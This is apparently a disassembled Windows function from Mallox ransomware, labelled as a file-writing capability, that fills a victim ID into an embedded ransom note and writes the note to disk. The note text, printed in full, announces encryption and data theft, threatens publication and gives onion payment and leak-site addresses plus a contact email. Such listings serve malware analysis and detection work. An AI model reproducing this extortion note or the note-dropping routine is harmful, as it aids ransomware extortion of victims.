Function at 0x140005d38
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r15
sub rsp, 0x70
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp dword [0x14005eeb0], 0
lea r12, [0x14005eed0]
mov rsi, rcx
jne 0x140005e12
lea rcx, [0x14005bbf0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r8, [rsp + 0x48]
call fcn.140005a24
lea rcx, [rsp + 0x48]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rbp, eax
xor r8d, r8d
lea r15, str.Hello_r_n_r_nYour_files_are_encrypted_and_can_not_be_used_r_nWe_have_downloaded_your_confidential_data_and_are_ready_to_publish_it_on_our_blog_r_nTo_return_your_files_in_work_condition_you_need_decryption_tool_r_nFollow_the_instructions_to_decrypt_all_your_data_r_n_r_nDo_not_try_to_change_or_restore_files_yourself__this_will_break_them_r_nIf_you_want__on_our_site_you_can_decrypt_one_file_for_free._Free_test_decryption_allowed_only_for_not_valuable_file_with_size_less_than_3MB_r_n_r_nHow_to_get_decryption_tool:_r_n1__Download_and_install_TOR_browser_by_this_link:_https:__www.torproject.org_download__r_n2__If_TOR_blocked_in_your_country_and_you_cant_access_to_the_link_then_use_any_VPN_software_r_n3__Run_TOR_browser_and_open_the_site:_wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_mallox_privateSignin_r_n4__Copy_your_private_ID_in_the_input_field._Your_Private_key:_id_r_n5__You_will_see_payment_information_and_we_can_make_free_test_decryption_here_r_n6_After_payment__you_will_receive_a_tool_for_decrypting_files__and_we_will_delete_the_data_that_was_taken_from_you_r_n_r_nOur_blog_of_leaked_companies:_r_nwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_r_n_r_nIf_you_are_unable_to_contact_us_through_the_site__then_you_can_email_us:_mallox.resurrection_onionmail.org_r_nWaiting_for_a_response_via_mail_can_be_several_days._Do_not_use_it_if_you_have_not_tried_contacting_through_the_site.
mov dl, byte [r8 + r15]
mov r9d, ebx
add r9, r12
mov byte [r9], dl
cmp dl, 0x7b
jne 0x140005df1
lea eax, [r8 + 1]
cmp byte [rax + r15], 0x69
jne 0x140005df1
lea eax, [r8 + 2]
cmp byte [rax + r15], 0x64
jne 0x140005df1
lea edi, [r8 + 3]
cmp byte [rdi + r15], 0x7d
jne 0x140005df1
mov r8, rbp
lea rdx, [rsp + 0x48]
mov rcx, r9
call fcn.14001f230
dec ebx
mov r8d, edi
add ebx, ebp
inc ebx
inc r8d
cmp r8d, 0x56e
jb 0x140005da7
lea rcx, [0x14005bbf0]
mov dword [0x14005eeb0], ebx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005e6d
mov r8d, dword [0x14005eeb0]
lea r9, [rsp + 0x40]
and qword [rsp + 0x20], 0
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14001bfb0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r12
pop rdi
ret